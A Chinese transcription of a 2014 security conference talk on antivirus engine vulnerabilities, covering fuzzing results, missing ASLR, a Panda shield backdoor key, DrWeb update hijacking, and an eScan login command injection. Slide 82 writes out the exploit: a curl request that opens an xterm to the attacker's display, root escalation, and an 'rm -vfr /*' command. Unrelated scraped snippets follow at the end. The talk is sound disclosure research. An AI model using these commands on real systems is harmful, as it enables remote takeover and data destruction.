如何找到杀毒产品的漏洞 介绍攻击杀毒引擎发掘漏洞杀毒引擎的漏洞利用杀毒产品的漏洞结论建议
|
|
|
- 谘弋 彭
- 7 years ago
- Views:
Transcription
1 如何找到杀毒产品的漏洞 Joxean Koret, COSEINC SYSCAN 360, 2014
2 如何找到杀毒产品的漏洞 介绍攻击杀毒引擎发掘漏洞杀毒引擎的漏洞利用杀毒产品的漏洞结论建议
3 杀毒引擎 杀毒引擎的一般共同特点 : 用C/C++ 语 言编写 ; 基于特征码引擎 + 启发式 ; 按访问扫描 ; 命令 行 / GUI 的按需扫描 ; 支持压缩 文件 ; 支持加壳 ; 支持其他多种 文件格式 杀毒引擎的高级共同特点 : 数据包过滤器和防 火墙 ; 驱动防护 anti-rootkits 等... Anti-exploiting 工具包
4 杀毒产品或引擎 杀毒引擎是杀毒产品的核心 内核 一些杀毒引擎被多种产品广泛使用 例如,BitDefender 是使 用最 广泛的杀毒内核 在诸如 G-Data escan F-Secure 等产品中都能 见到它的 身影 多数 大型 杀毒公司都有 自 己的引擎, 但也不是全部都有 有些公司, 例如 F -Secure, 会在他们的产品中集成第三 方引擎 广义上, 此次演讲汇总, 我讲着重讨论的是杀毒引擎 内核, 而不是 产品
5 攻击面 事实 : 在你计算机上安装应用程序, 会更易受攻击的 你只不过是增加了你的攻击 面 而已 如果应用程序是本地程序 : 则本地攻击面增加 如果应用程序是远程程序 : 则远程攻击面增加 如果您的应用程序具有最高权限运行 安装内核驱动与数据包过滤器, 并且尝试处理任何您的计算机可能做的事情 你的攻击 面将 大 大增加
6 神话与现实 杀毒产品的宣传语 : 我们让你的电脑更安全, 没有性能损失! 我们可以抵御未知的 0day 攻击!. 现实中 : 杀毒引擎会使你的电脑的性能受到不同程度的损失, 并且表现的更易受攻击 杀毒引擎也会受 0day 攻击, 就像它所保护的那些不被攻击的程序 一样 顺便说 一句, 甚 至还可以降低操作系统漏洞缓解
7 Breaking antivirus software 介绍攻击杀毒引擎发掘漏洞杀毒引擎的漏洞利用杀毒产品的漏洞结论建议
8 攻击杀毒引擎 通常, 由于性能的原因, 杀毒引擎都由非托管语言编写 大多数引擎都是 用 C 或者 C++ 编写的, 只有少数 几个例外, 比如古 老的 MalwareBytes 是 用 VB6 编译的 这将转换为缓冲区溢出, 整数溢出, 格式字符串等等 多数杀毒引擎都会安装系统驱动 这将转换为本地权限提升 杀毒引擎必须支持的文件格式列表 : Rar, Zip, 7z, Xar, Tar, Cpio, Ole2, Pdf, Chm, Hlp, PE, Elf, Mach-O, Jpg, Png, Bz, Gz, Lzma, Tga, Wmf, Ico, Cur... 这将转换为上述 文件格式解析器中的 bugs
9 攻击杀毒引擎 杀毒引擎不仅要支持大量的文件格式, 还要比厂商支持得更快 当针对某种文件格式的利用漏洞出现的时候, 消费者就会尽快的针对这些文件寻求支援 这个过程持续的越长, 那么顾客转移到另外的厂商的几率就越高 而生产者并不需要对格式不正确的文件提供 帮助 需要这么做的, 恰恰是杀毒引擎 厂商需要处理格式不正确的 文件, 但是 又拒绝如此, 是因为修复这类 文件 又将带来新的漏洞 例如 : Adobe Acrobat
10 攻击杀毒引擎 即使不是所有, 但大多数的杀毒引擎都需要具有最高权限运行 :Root 或 LocalSystem 一旦有人能够发现并利用杀毒引擎中的漏洞, 那么他 / 她一定可以获得 Root 或 LocalSystem 权限 大多数杀毒引擎都只通过 HTTP 协议进行升级 : 一旦有 人可以对此 HTTP 协议连接进 行中间 人攻击 (MITM), 比如在局域 网内, 那么他 / 她就可以安装或者替换新的 文件了 它往往转换成获取安装此杀毒软件的电脑的全部控制权, 因为更新过程往往不会签名校验 是的, 他们不会的 稍后我将展示众多充满漏洞易受攻击的产品中的一个
11 如何找到杀毒产品的漏洞 介绍攻击杀毒引擎发掘漏洞杀毒引擎的漏洞利用杀毒产品的漏洞结论建议
12 杀毒软件中的漏洞 大约七月底 八月初开始, 在一些杀毒引擎中发现漏洞, 起初是为了好玩而已 只是在业余时间, 时不时的花 几个 小时研究 在 14 款杀毒引擎活杀毒产品中发现了远程与本地的漏洞 大多数都是在最初的两个 月时间内发现的 共测试了 大概 至多 17 款引擎 ( 抱歉, 记不太确切了 ) 这说明了 一切 接下来我来谈一谈这些我所发现的漏洞 后续的也只是其中的一小部分
13 杀毒软件中的漏洞 Avast: Heap overflow in RPM ( 已报告, 已修复, 并且获得了 Bug 赏金 ) AVG: Heap overflow with CPIO ( 已修复...)/Multiple vulnerabilities with packers Avira: Multiple remote vulnerabilities BitDefender: Multiple remote vulnerabilities ClamAV:Infinite loop with a malformed PE ( 已报告, 已修复 ) Comodo: Heap overflow with CHM DrWeb: Multiple remote vulnerabilities ( 升级引擎中的漏洞已修复 ) ESET: Integer overflow with PDF ( 已修复 )/Multiple vulnerabilities with packers F-Prot: Heap overflows with multiple packers F-Secure: Multiple vulnerabilities in Aqua engine (all the F-Secure own bugs fixed) Panda: Multiple local privilege escalations ( 已报告并部分修复 ) escan: Multiple remote command injection ( 说都修复了吗? 吼吼, 深表怀疑...) 还有很多很多...
14 如何发现这些漏洞? 最初, 我使用了我自己制作的 fuzzing 测试套件 通过当时我能找到的一个 Linux 系统, 我下载了所有的杀毒引擎 引擎的核 心都是 大体相同的, 只有 几个启发式引擎是例外 还要使 用 一些技巧来在 Linux 系统中运 行 Windows 系统的杀毒程序 通过简单地使用 radamsa + ClamAV 的测试套件,fuzzed 每个杀毒引擎的命令行工具, 许多不同的 EXE 包装和一些随机的文件格式 结果 : 得到数以十计的远程利用漏洞 同时, 我也进行了基本的本地和远程检查 : 地址空间格局的随机化 (ASLR), 空 ACLs, 更新协议, 网络协议等等...
15 Fuzzing 数据 一个朋友曾经说服我来写一个 Fuzzer( 漏洞检查工具 ), 来在一场私人会议中做一次 Fuzzing explained 的对话 非常简单的 fuzzing 引擎, 最 大可以使 用 10 个节点 I'm poor... I cannot start relatively small, with 300 boxes like Google people does. 使用这个 fuzzing 套件来 fuzz 各个基于 Linux 的 我可以运行和调试的反病毒引擎 那次对话中, 我针对以下的引擎, 做了 fuzz /test BitDefender, Comodo, F-Prot, F-Secure, Avast, ClamAV, AVG. 结果...
16 初步实验结果 ClamAV: 1 处基于 PE 文件中畸形图标资源的远程拒绝服务漏洞 Avast: 1 处可能的基于在处理 RedHat 软件包管理工具中未初始化的变量的远程代码执行漏洞 F-Secure: CPIO 中 1 处内存枯竭 bug Comodo: 2 处堆溢出漏洞, 1 个基于 CHM 文件处理 F-Prot: Armadillo, PECompact, ASPack and Yoda's Protector unpackers heap overflows. AVG: CPIO 及 XAR 堆溢出 BitDefender: 惊人的 bug 数. 许多都可以被利用
17 如何找到杀毒产品的漏洞 介绍攻击杀毒引擎发掘漏洞杀毒引擎的漏洞利用杀毒产品的漏洞结论建议
18 杀毒引擎的漏洞利用 利用杀毒引擎中的漏洞, 就像利用其它客户端应用程序类似 但与利 用浏览器或者 PDF 阅读器的漏洞略有不同 更多是像利 用 Office 文件格式的漏洞 现在, 由于 ASLR 的存在, 远程利用客户端程序中内存中断漏洞也将变得十分困难 然 而, 杀毒引擎会经常出现 大量的错误, 所以, 不要担 心 :)...
19 杀毒引擎的漏洞利用 接下来将要简要陈述的是 : 远程利 用 而以下内容讲不会被涉及 : 本地 用户系统或内核系统本地利 用漏洞 遗憾的是我对内核系统的了解并不够多 接下来, 我将讨论 一些本地漏洞并且给出如何利 用他们的详细信息 但这些不是内核的东 西, 并且也太容易被利 用
20 杀毒引擎的漏洞利用 一般而言, AV 引擎都启用 ASLR 进行编译 但是, 只有核心模块是使用 ASLR 编译的现象, 更是常见 比如, 没有图形 用户界 面相关的程序和库 一些杀毒引擎的核心部分库并不启用 ASLR 请检查您的 目标产品, 和 自 己的产品, 这并不是特例 :)
21 杀毒引擎的漏洞利用 即使在 主流 的杀毒引擎中... 也存在未启 用 ASLR 的模块 ;... 在已修复地址中都存在着 RWX 页 面 ;... 都禁 用了 DEP 当然, 在某些情况下 这种条件, 往往都是模拟器
22 杀毒引擎的漏洞利用 即使在 主流 的杀毒引擎中... 也存在未启 用 ASLR 的模块 ;... 在已修复地址中都存在着 RWX 页 面 ;... 都禁 用了 DEP 当然, 在某些情况下 这种条件, 往往都是模拟器
23 杀毒引擎的漏洞利用 x86 模拟器是杀毒引擎的重要组成部分 它用来在内存中对样本进行解包, 来判断可执行程序的行为 大多数杀毒引擎都会在固定地址创建 RWX 页, 同时在使用模拟器的时候会禁用 DEP... 非常普遍 并不只适 用于 一些随机的杀毒引擎
24 杀毒引擎的漏洞利用 ( 更多提示 ) 默认情况下, 杀毒引擎将尝试解压压缩文件并扫描里面的文件 压缩文件 (zip, tgz, rar, ace 等格式 ) 可以包含多种文件 下面是一种常见的杀毒引擎漏洞利用情形 : 发送压缩的 zip 文件 ; 起始的第 一个 文件强制加载并使 用模拟器 ; 第 二个 文件才开始真正的漏洞利 用
25 杀毒引擎的漏洞利用 杀毒引擎包含多个模拟器 在 主流 杀毒引擎中, 模拟器包括了针对 x86, AMD64, ARM, JavaScript, VBScript 等情况 据我所知, 这些模拟器不能被用来执行 heap spraying 但他们暴露了大量的攻击面 在模拟器 里很容易就可以发现内存泄露, 特别是在 JavaScript 引擎 它们可以被 用来构建复杂的攻击, 因为我们有 一个编程接 口来制作输 入到杀毒引擎
26 杀毒引擎的漏洞利用 : 总结 与利用开发其他客户端应用程序相比, 利用杀毒引擎的漏洞并没有特别的不同 他们没有 / 也不会提供任何特殊的自我保护意识 他们依靠操作系统的功能 (ASLR / DEP ), 别无其他 有时他们甚 至会禁 用这些功能 对于漏洞编写者来说, 还存在着大量的编程接口 : 模拟器 : x86, AMD-64, ARM, JavaScript,.... 多个进行不同操作的文件将会被发送到一个压缩文件中 在我所测试的杀毒软件引擎中, 攻破杀毒软件引擎就意味着获得 Root 或 System 权限, 通常也不需要从沙箱中逃逸
27 如何找到杀毒产品的漏洞 介绍攻击杀毒引擎发掘漏洞杀毒引擎的漏洞利用杀毒产品的漏洞结论建议
28 更多详情 : 关于杀毒引擎和杀毒产品的漏洞... Extracted from Copyright Matthew Inman
29 Disclaimer 我只是展示了我发现的漏洞中的一小部分 我有坏习惯, 每天都要吃三顿饭 曾经处于各种各样的原因, 我联系过五个安全厂商 : Avast. 他们提供了 Bug 赏 金 好样 儿的! ClamAV. 他们的杀毒软件是开源产品 Panda. 我有 一些密友在那 儿 Ikarus, ESET and F-Secure. 他们很友好的联系了我并寻求帮助 我是不会 负责任 地联系那些不负责任的市值数百万美元的公司的 我的研究并不是是免费的 请审核您的产品...
30 本地特权提升
31
32 案例 :Panda 引擎本地提权 在 Global Protection 2013 这款产品中, 有许多进程是作为 系统 运行的 其中两个进程, 有空进程 ACL: WebProxy.EXE 和 SrvLoad.EXE 我们可以使用 CreateRemoteThread 来注入一个 DLL 文件 可以获得两个非常简单的本地特权提升 但该过程是由护盾提供 保护 的
33 案例 :Panda 引擎本地提权 另一种可怕的 bug:panda 的安装目录必须为所有用户写入权限 然而, 又重复说一句, 这个目录由护盾提供 保护 的... 那个护盾 (shield) 是什么?...
34 案例 :Panda 引擎本地提权 Panda shield 是保护一些 Panda 进程, 以及 Program Files 目录的驱动程序 它会读取一些注册表键值来决定护盾是否开启 但是... 注册表键是谁都可以去更改的. 所以, 这很好笑, 同时这里还会有一个 pavshld.dll 文件与各种导出函数......
35 案例 :Panda 引擎本地提权 所有的导出函数包含人类可读的名字 但不包括最初的两个函数 :PAVSHLD_001 以及 002. 出于显而易见的原因, 我决定对他们做逆向工程... 第一个函数是用来关闭护盾的后门 它只接收一个说法, 一个 密钥 (GUID): ae a a8f-2606b94d9f13 如果秘钥正确, 那么相应的注册表键将会写入 那么, 是不是你 自 己写的注册表项更容易...
36 MOAR PANDAZ 在这款杀毒引擎中, 还有更多愚蠢的 bug 例如, 没有使用 ASLR 技术编译的库 任何人都可以很轻松的写出一个针对 Panda 的漏洞攻击, 不需要花费太多精力 同时, 任何人都可以写出一个针对 Panda Global Protection 用户的漏洞攻击 为什么会这样? 因为在所有进程中,Panda 产品注入了 3 个库, 但并没有开启 ASLR 是的
37 Panda 我向厂商报告了这些情况, 因为在 Panda 那边有我的朋友. 这些漏洞, 按照推理, 已经被修复了一些, 然后还有一些仍没有修复, 比如... 护盾的后 门 Panda 安装 目录的权限
38 ASLR : 地址空间布局随机化 (Address Space Layout Randomization)
39 关闭 ASLR 我们已经讨论过了关于 Panda Global Protection 在所有模块中都没有开启 ASLR 的情况 你是否相信这仅仅是一款杀毒产品的个别问题? 因为这在杀毒产品 / 杀毒引擎中很常见, 这样的问题并不明显...
40 举个例子...
41 Forticlient 进程 av_task.exe 是实际上的杀毒软件扫描器...
42 Forticlient 大多数库和二进制文件 Forticlient 都没有启用 ASLR 一旦这些未能开启 ASLR 的模块中出现 bug, 那么利 用漏洞攻击 Forticlient 实在是微不 足道 你可能认为, 对于这么 大 的产品来说, 这是不会发生的问题 再想想...
43 2 random AVs nobody uses...
44 Kaspersky 在 SyScan 2014 新加坡会议开始之前, 库文件 avzkrnl.dll 和 vlns.kdl 模块 漏洞扫描器 (LOL), 都没有开启 ASLR 我们都可以很轻松的写一个可靠的攻击卡巴斯基杀毒软件
45 Kaspersky 在 SyScan 2014 新加坡大会之后, 即使我已经向公众公开 ASLR 绕过情况, 他们仍然没有修复这些漏洞 鄙人已经无语了啊... 但似乎他们根本不在乎, 像同行业中大多数杀毒软件公司一样 如果扫描进程在运 行中具有系统最 高权限, 又没有任何沙盒运 行, 那何苦解决这个问题呢?
46 BitDefender 针对 BitDefender 进行漏洞利用攻击更加容易 Security service my ass...
47
48 BKAV BKAV 是一款越南产的杀毒软件产品 Gartner 公司评价这家公司是 新兴市场中的酷哥 而我认为这款产品是 便于有针对性攻击的酷杀软...
49 BKAV BKAV 的服务项都没有开启 ASLR...
50 BKAV 和 Panda 一样,BKAV 的 防火墙 引擎也会在系统中注入未开启 ASLR 的库 真是愧对于保护您的计算机 顺便说一句, 这处漏洞在几个月前的 SyScan 2014 新加坡大会上已经被公开披露
51 杀毒软件开发人员编写安全软件
52 远程拒绝服务 Remote Denial of Service
53
54 举例 : ClamAV DOS 在 ClamAV 的扫描图标资源目录中有一处 bug 如果数值太 大, ClamAV 会开始 几乎永恒的循环状态 通过向引擎添加更多的限制来修复 这是通过该死的 fuzzing 发现的 已经向厂商报告此漏洞. 因为这是开源的产品... 请访问 : 这处漏洞 ClamAV 小组处理的很好很友善 ( 现在是 Cisco 了 ).
55
56 解压炸弹 ( 多杀软 ) 还记得他们吗? 如果我记得没错的话, 大概是在 2001 年的 BugTraq 上, 第一轮讨论中 ( 我们有讨论过他们 ) 一个压缩 文件, 包含了许多压缩 文件的, 又或者是包含了许多 大 文件 它可以被认为是远程拒绝服务 你是否认为杀毒引擎再未来的 10 年或者更长时间里, 不容易受到任何更多此类的 bug 影响? 在这种情况下, 你错了... 看看下表就知道了...
57 无效的杀软们 ZIP GZ BZ2 RAR 7Z ESET X (***) X (***) BitDefender Sophos X (*) X X X Comodo AVG Ikarus Kaspersky X (**) X X X X * Sophos 是在 30 秒之后完成的 测试环境是 16 核 CPU 及 32 GB 内存的机器 ** Kaspersky 生成了一个临时文件. 一个 32GB 的 dumb file 使用 7z 压缩之后是 3MB *** 在我最近的一次测试中,ESET 每个文件都是在一分钟之后完成的, 虽然使用的是我的 小型测试机.
58
59 BitDefender 引擎 BitDefender 是一款罗马尼亚制作的杀毒引擎. 他们的杀软核心是现今在其他杀软产品分布最广的杀毒引擎 举 一些例 子 : F-Secure, G-Data, escan, LavaSoft, Immunet,... 像几乎所有其他杀毒引擎 / 杀毒产品一样, 它也有许多的漏洞 在这个引擎发现漏洞是很简单的事 举 一些简单的例 子...
60 BitDefender bugs ( 此次漏洞已修复 ) 修改使用 Shrinker3 打包机打包的 PE 文件中的 2 处 DWORD 从而引起崩溃 : 这些字节被用于计算文件和内存中解压后的 PE 文件新的章节排列 当设置为 0xFFFFFFFF 和 0xFFFFFFF 时, 这两个文件和段对齐方式都会被设置为 0...
61 BitDefender bugs... 而稍后他们的值将在在一些算术运算中使用 这两处 bug 都很容易被发现 但是他们自己却没有发现这些问题
62 One more complex BitDefender bug... ( 此次漏洞已修复 ) 在 Thinstall 安装器中修改一个字节, 将导致产品崩溃 : 修改了一个字节之后, 解压缩后的内容会崩溃 表格的索引将会和崩溃的内容一起计算... 同时已经被攻击者掌控的数据会被复制到同样容易控制的地方 再说一遍 : 这种 bug 很容易被发现, 简直是微不足道
63 BitDefender 备注 这一处 bug 和所有的 BitDefender 的 bug 都不会影响到专门的 BitDefender 产品 它会影响如前所述的许多杀毒产品 在你的产品中添加一个新的杀毒引擎, 可能听起来会很 酷, 但这么做也会引入第三方的 bug 到自己的产品中 而且, 顺便说一句, 你并没有在添加到您的产品之前进行检验... 否则, 我怀疑你为什么会添加它
64
65 ESET Nod32 ESET Nod32 是一个广为人知的, 来自斯洛伐克的杀毒引擎 像许多其他的杀毒引擎一样, 它也有好多好多显而易见可以被发现的漏洞 举一个简单的例子 : 一个错误格式的 PDF 文件 一个有数组的 /W(idth) 数组元素使 用 一个负值或者很 大的值会导致其崩溃 一个简单的远程拒绝服务
66 ESET Nod32 bug with PDF files 据 ESET 来源消息说, 他们使用 fuzzing 测试作为质量保证的一部分 我认为他们做的还不够好... 发现这个 bug 是微不足道的, 像所有那些我前面所展示的 这个 bug 已经报告给 ESET 并且已经修复
67 远程执行代码 Remote Code Execution
68
69 DrWeb antivirus DrWeb 是一款来自俄罗斯的杀毒软件 举几个简单的例子, 俄罗斯最大的银行 :Sberbank, 最大的搜索引擎 :Yandex 以及国家杜马, 都是他们的客户 更多的宣传资料 : ( 这个信息的原网页已经失效了, 当时我是在 SyScan 2014 新加坡会议时披露了一处漏洞 )
70 DrWeb 的升级协议 DrWeb 使用 HTTP 协议进行更新,( 不知道现在是不是还是这样 ), 而不是使用 SSL/TLS 它首先下载一个目录文件 : 以 Linux 为例 : 在该 目录 文件中, 包含了 一系列可更新 文件, 和它们的 HASH 值 : VDB files (Virus DataBases). DrWeb32.dll. 简单的说, 即使是 DrWeb32.dll 库 文件,HASH 值只是 CRC32, 并且没有签名
71 DrWeb 的升级协议 政府最高级别证书 用于病毒库文件和杀毒库的最高等级的检查 : CRC32. O( _ )O 哈!. 这些域名已经足够用来在局域网进行拦截 : update.nsk1.drweb.com update.drweb.com update.msk.drweb.com update.us.drweb.com update.msk5.drweb.com update.msk6.drweb.com update.fr1.drweb.com update.us1.drweb.com update.nsk1.drweb.com... 然后替换 drweb32.dll 文件为您 修改过 的版本 (lzma'ed)
72 DrWeb 的升级协议 使用 ettercap 和便捷的 Python web server 搭配 Unix lzma 工具, 来对 DrWeb 进行漏洞攻击是很容易的事 你只需要计算 CRC32 的校验然后压缩 ( LZMA ) drweb32.dll 文件就可以了 在 Linux 系统验证这个 bug: 全部执行代码是可行的 很显然, 你需要在 一个局域 网内才能做到这样 一个俄罗斯人写了 Windows 系统 Metasploit 漏洞研究 在我看来, 这个升级协议太可怕了 不知道现在有没有进行修改
73 DrWeb 升级协议漏洞 这个漏洞已经修复, 并且也发出了警报 在 警报 中他们没有说明已经修复了这个漏洞 这个预警只有俄语的版本, 没有英 文版, 恐怕也没有中 文版 他们只描述说进行了修改, 以提高更新程序的安全性 从技术上讲 : 是从 没有安全 升级到 有 一些安全性 我没有研究这个更新升级 但我有 99% 的把握肯定他们这样做是错误的 不过我已经没有时间来在这次论坛上检查这些了, 抱歉咯 :(
74
75 escan for Linux 在新加坡的几个无聊的夜里, 我偶然发现 escan 的产品有 Linux 的版本 于是我就下载并且安装了 ( 拜酒店糟糕的网络所赐, 这就居然折腾了一个小时 ) 然后我检查看看它都安装了些什么, 寻找一些 SUID 二进制文件, 等等... 他们使 用了 BitDefender 和 ClamAV 引擎, 而 自 己并没有属于 自 己的引擎, 所以就没有必要测试扫描器了 因为我已经发现过了这些引擎中的漏洞了他们安装了一个 Web 服务器来进行管理, 和 SUID 二进制文件, 叫做 : /opt/microworld/sbin/runasroot
76 escan for Linux SUID 二进制文件允许以下用户执行根命令 : root mwconf ( 安装过程中创建 ). escan 的管理程序 ( 命名为 :MwAdmin) 有着明显的缺陷, 所以我在第一个常驻命令扩展中就进行中止... 这个问题最近已经修复了 登录表单的命令注 入 (PHP). 在 一个 安全 产品 是的
77 escan for Linux login page
78 escan for Linux remote root 这个特定的 bug 需要知道, 或者猜测现在存在的用户 并不困难 Immunity 的 人们发现了更多的 bug, 就是并不需要猜测 用户名, 并且使 用这个程序作为狩猎漏洞的教学 工具 这个程序烂透了 作为教程, 它只适合教学, 不要做什么或怎么做容易进 行攻击 通过 PHP 的函数 exec 来执行, 用户名和密码被用来构操作系统命令... 我没能注 入 用户名 但是我能注 入 用户密码
79 Source code of login.php (I)
80 Source code of login.php (II) 发送给用户的密码要通过 check_user 传递 : 对于密码, 只有一些非常基本的检查 : 专为 shell 转义字符 但是他们忘记了其他字符, 比如 ';'.
81 Source code of common_functions.php 然后, 给定的密码将在 check_user 函数中使用, 类似这样 :
82 escan for Linux RCE 我发现的超级霹雳无敌酷炫漏洞利用 : $ xhost + $ export TARGET= $ curl --data "product=1&uname=valid@user.com&pass= ;DISPLAY=YOURIP:0;xterm;" $TARGET/ login.php 然后你就可以运行这个来提权 : $ /opt/microworld/sbin/runasroot /usr/bin/ xterm 或者, 为所欲为... $ /opt/microworld/sbin/runasroot rm -vfr /*
83 如何找到杀毒产品的漏洞 介绍攻击杀毒引擎发掘漏洞杀毒引擎的漏洞利用杀毒产品的漏洞结论建议
84 结论 广义上, 杀毒软件是这样的 面对熟练的攻击者, 不会让你获得更安全的体验... 反 而会增加你的受攻击 面... 面对熟练的攻击者, 更容易受到攻击... 和任何其他应 用程序 一样, 有弱点易受攻击 而一些杀毒软件则是 可能会降低您的操作系统保护程度... 被本地和远程漏洞所困扰 一些杀毒软件公司 在他们的产品 里狗屁安全防护都不提供
85 如何找到杀毒产品的漏洞 介绍攻击杀毒引擎发掘漏洞杀毒引擎的漏洞利用杀毒产品的漏洞结论建议
86 对杀毒软件的用户的建议 不要盲目信任你使用的杀软产品 顺便说, 不要信任你使 用的杀软产品 同时, 不要信任你使 用的杀软产品 不, 我强调的还不够 隔离那些安装了杀毒软件的电脑, 不要将他们用于网关, 网络检测等项目上... 及时审核您的杀软引擎, 或者邀请第三方来检验审核您打算部署的杀软引擎
87 对杀毒软件公司的建议 审核你们的产品 : 源代码复核 & fuzzing. 不, AV-Comparatives 和类似的测评 又不会远程关闭这些 开展 Bug 赏 金奖励也是个好办法, 就像 Avast 做的那样 不要使用最高权限来扫描网络数据包 文件等等... 你并不需要成为 root/system 权限来扫描 一个 网络数据包或 文件 你只需要 root/system 权限以获得该数据包或 文件的内容 发送的 网络数据包或 文件内容到另 一个, 低特权或沙盒内的进程
88 对杀毒软件公司的建议 在模拟器 虚拟机, 至少也是在沙盒中, 运行危险代码 据我所知只有一家公司是这么做的 用 C / C + + 代码编写的 文件解析器是很危险的 如果你发现了 一个漏洞, 然后在模拟器或者沙盒中运 行, 你还需要拥有 一个逃逸漏洞来掌控杀毒引擎 为什么针对浏览器的漏洞攻击 比安全产品的要困难? 或者使 用 一种 安全 的语 言 事实上 一些杀毒产品就是这样做的, 举个例 子 : 使 用 Lua 不要相信你自己的进程 他们也会被别人掌控 我不是在谈论 文件签名 我说的是你的杀软的正在运 行的进程
89 对杀毒软件公司的建议 不要使用普通的 HTTP 协议来更新您的产品 请使 用 SSL/TLS. 同时, 对所有 文件进 行数字签名 不,CRC 不是 一个签名 真的... 然后确认在签名后边没有别的内容了 此外, 再验证整个证书链...
90 对杀毒软件公司的建议 放弃那些今天已经用不到的旧代码, 或使这些代码默认不可用 针对 MS- DOS 时代的病毒, 加壳, 保护器等的代码.. 对现在完全不受 支持的产品的 文件格式漏洞的解析器 这种在多年没有碰过的旧代码很可能也会有漏洞 忽略那些杀毒软件测评公司的关于要求你们检测那些来自侏罗纪时代的恶意软件 请远离他们
91 欢迎大家提问
思科身份服务引擎支持的 Mac OS X AV/AS 产品合规性模块版本
思科身份服务引擎支持的 Mac OS X AV/AS 产品合规性模块版本 3.610482.2 本文档提供有关 Cisco NAC 代理版本 4.9.2.701 至 4.9.5.x 对 Mac OS X AV/AS 的支持信息 有关其他支持信息以及完整的版本更新信息, 请参阅与您的思科身份服务引擎发行版本相对应的思科身份服务引擎版本说明 支持的 Mac OS X AV/AS 产品概要 新增 AV 产品
<%DOC NAME%> (User Manual)
AVG File Server 2013 2013.02 ( 03/12/2013) AVG Technologies CZ, s.r.o. RSA Data Security, Inc. 1991 MD5 ( C) 1991-1992 RSA Data Security, Inc. C-SaCzech ( c) 1996-2001 Jaromir Dolecek ( dolecek@ics.muni.cz)
AVG AntiVirus User Manual
AVG AntiVirus 用户手册 文档修订 AVG.04 ２０１６ ２ ９ 版权所有 AVG Technologies CZ, s.r.o. 保留所有权利 所有其它商标均是其各自所有者的财产 目录 1. 简介 3 2. AVG 安装要求 4 2.1 支持的操作系统 4 2.2 最低 推荐硬件要求 4 5 3. AVG 安装过程 3.1 欢迎 5 3.2 输入您的许可证号码 6 3.3 自定义安装
ESET Smart Security
ESET SMART SECURITY 9 使用者手冊 (適用於產品版品 90 和更新版本) Microsoft Windows 10 / 81 / 8 / 7 / Vista / XP 按一下這裡以下載此文件的最新版本 ESET SMART SECURITY Copyright 2015 by ESET, spol s r o ESET Sma rt Securi ty 是由 ESET, s pol
<%DOC NAME%> (User Manual)
AVG File Server 2013 2013.01 ( 20.11.2012) AVG Technologies CZ, s.r.o. RSA Data Security, Inc. 1991 MD5 ( C) 1991-1992 RSA Data Security, Inc. C-SaCzech ( c) 1996-2001 Jaromir Dolecek ( dolecek@ics.muni.cz)
六域链联盟 SDChain-Matrix 节点搭建指南 2018/07/26 Version : 1.0.0
SDChain-Matrix 节点搭建指南 目录 1 环境要求... 3 2 软件下载... 4 3 安装部署... 4 3.1 部署可执行程序目录... 4 3.2 部署配置文件目录... 4 3.3 部署数据库文件目录... 4 3.4 部署日志文件目录... 4 3.5 部署依赖库文件目录... 4 4 配置参数... 5 5 启动运行... 7 5.1 普通模式启动... 7 5.2 加载启动模式...
Mobile Security Review 2013
产 品 评 测 : 移 动 安 全 软 件 评 测 -2013 年 7 月 www.av-comparatives.org AV-Comparatives 移 动 安 全 软 件 评 测 语 言 : 中 文 2013 年 8 月 最 后 修 订 :2013 年 8 月 18 日 www.av-comparatives.org -1- 产 品 评 测 : 移 动 安 全 软 件 评 测 -2013 年
静态分析 投放文件 行为分析 互斥量 (Mutexes) 执行的命令 创建的服务 启动的服务 进程 cmd.exe PID: 2520, 上一级进程 PID: 2556 cmd.exe PID: 2604, 上一级进程 PID: 2520 访问的文件 C:\Users\test\AppData\Lo
魔盾安全分析报告 分析类型 开始时间 结束时间 持续时间 分析引擎版本 FILE 2016-11-25 00:20:03 2016-11-25 00:22:18 135 秒 1.4-Maldun 虚拟机机器名 标签 虚拟机管理 开机时间 关机时间 win7-sp1-x64 win7-sp1-x64 KVM 2016-11-25 00:20:03 2016-11-25 00:22:18 魔盾分数 0.0
internet security 2013 kaspersky cracked
Internet Security 2013 Kaspersky Cracked ->>->>->> http://shurll.com/76i2q 1 / 5 2 / 5 2016 年 7 月 13 日 - 卡巴斯基安全软件 2014,,,Kaspersky,,,Internet,,,Security,,,2014,,,,,,14.0,,,,,,2013-8-30,,,,,, 全面保护技术, 卡巴斯基安全软件能够提供抵御所有互联网威胁的高级
李 琼 评扎迪 史密斯的 白牙 要是他 指艾伯特 加勒比海移民 真的回去 了 那么他将要面临的失败是明摆在那儿的 因为当地并没有发生什么变化 这就是移民的悲剧 他们比他们离弃的故乡变化得更 快 于是他们永远也不可能因回到家乡而感 到幸福 可是 他们在移居的国家也不幸福 因为这不是家乡 瞿世镜
略论英国移民族群认同的发展和走向 李 琼 李 琼 评扎迪 史密斯的 白牙 要是他 指艾伯特 加勒比海移民 真的回去 了 那么他将要面临的失败是明摆在那儿的 因为当地并没有发生什么变化 这就是移民的悲剧 他们比他们离弃的故乡变化得更 快 于是他们永远也不可能因回到家乡而感 到幸福 可是 他们在移居的国家也不幸福 因为这不是家乡 瞿世镜 年 外国文学 第 期 这些天来 我觉得来到这个国家 就像是和魔鬼签了协议
水晶分析师
大数据时代的挑战 产品定位 体系架构 功能特点 大数据处理平台 行业大数据应用 IT 基础设施 数据源 Hadoop Yarn 终端 统一管理和监控中心(Deploy,Configure,monitor,Manage) Master Servers TRS CRYSTAL MPP Flat Files Applications&DBs ETL&DI Products 技术指标 1 TRS
ListofProductsSupportedbyESAP1.5.8
Products supported by ESAP 1.5.8 FIREWALL PRODUCTS: Product Name AOL Firewall (1.x) AOL Privacy Wall (2.x) AVG 8.0 [Firewall] (8.x) AVG 9 [Firewall] (9.x) AVG Firewall (7.x) AhnLab Security Pack (2.x)
课程标题
微软月度信息安全公告 2013 年 10 月 苏鹏 特约讲师 议程 安全公告 MS13-080~MS13-087 问与答 2013 年 10 月安全公告概述 新发布的安全公告 严重级 MS12-080~083 重要级 MS12-084~087 MSRC 通告安全等级 Microsoft Security Response Center (MSRC) 使用严重程度等级来帮助确定漏洞及相关的软件更新紧急性
簡報題目
近 期 資 安 威 脅 趨 勢 行 政 院 國 家 資 通 安 全 會 報 技 術 服 務 中 心 大 綱 前 言 沒 錢 就 搗 蛋 的 勒 索 軟 體 肆 虐 衛 星 導 航 系 統 引 發 安 全 隱 憂 NFC 卡 便 捷 但 個 資 要 留 意 結 論 與 建 議 1 資 安 弱 點 情 資 綜 整 CVE 弱 點 統 計 資 訊 弱 點 類 型 分 布 DoS 與 Code Execution
ESET Endpoint Antivirus
